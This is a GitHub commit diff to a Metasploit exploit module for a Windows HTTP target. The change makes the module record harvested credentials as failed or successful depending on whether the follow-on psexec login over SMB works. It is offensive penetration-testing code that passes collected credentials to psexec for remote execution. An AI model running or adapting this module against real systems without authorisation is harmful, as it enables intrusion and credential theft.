File tree Expand file tree Collapse file tree 1 file changed +21
-10
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +21
-10
lines changed Original file line number Diff line number Diff line change @@ -78,7 +78,7 @@ def report_cred(opts)
78
78
79
79
login_data = {
80
80
core : create_credential ( credential_data ) ,
81
- status : Metasploit :: Model :: Login :: Status :: SUCCESSFUL ,
81
+ status : opts [ :status ]
82
82
} . merge ( service_data )
83
83
84
84
create_credential_login ( login_data )
@@ -145,15 +145,6 @@ def exploit
145
145
146
146
print_good ( "Collected credentials User: '#{ user } ' Password: '#{ pass } '" )
147
147
148
- # report the auth
149
- report_cred (
150
- ip : datastore [ 'RHOST' ] ,
151
- port : 445 ,
152
- service_name : 'smb' ,
153
- user : user ,
154
- password : pass
155
- )
156
-
157
148
# try psexec on the remote host
158
149
psexec = framework . exploits . create ( "windows/smb/psexec" )
159
150
psexec . register_parent ( self )
@@ -182,11 +173,31 @@ def exploit
182
173
'RunAsJob' => true
183
174
)
184
175
rescue
176
+ report_cred (
177
+ ip : datastore [ 'RHOST' ] ,
178
+ port : 445 ,
179
+ service_name : 'smb' ,
180
+ user : user ,
181
+ password : pass ,
182
+ status : Metasploit ::Model ::Login ::Status ::INCORRECT
183
+ )
184
+
185
185
print_status ( "Login attempt using windows/smb/psexec failed" )
186
186
print_status ( "Credentials have been stored and may be useful for authentication against other services." )
187
+ # report the auth
187
188
return
188
189
end
189
190
191
+ # report the auth
192
+ report_cred (
193
+ ip : datastore [ 'RHOST' ] ,
194
+ port : 445 ,
195
+ service_name : 'smb' ,
196
+ user : user ,
197
+ password : pass ,
198
+ status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL
199
+ )
200
+
190
201
handler
191
202
end
192
203
end
You can’t perform that action at this time.
0 commit comments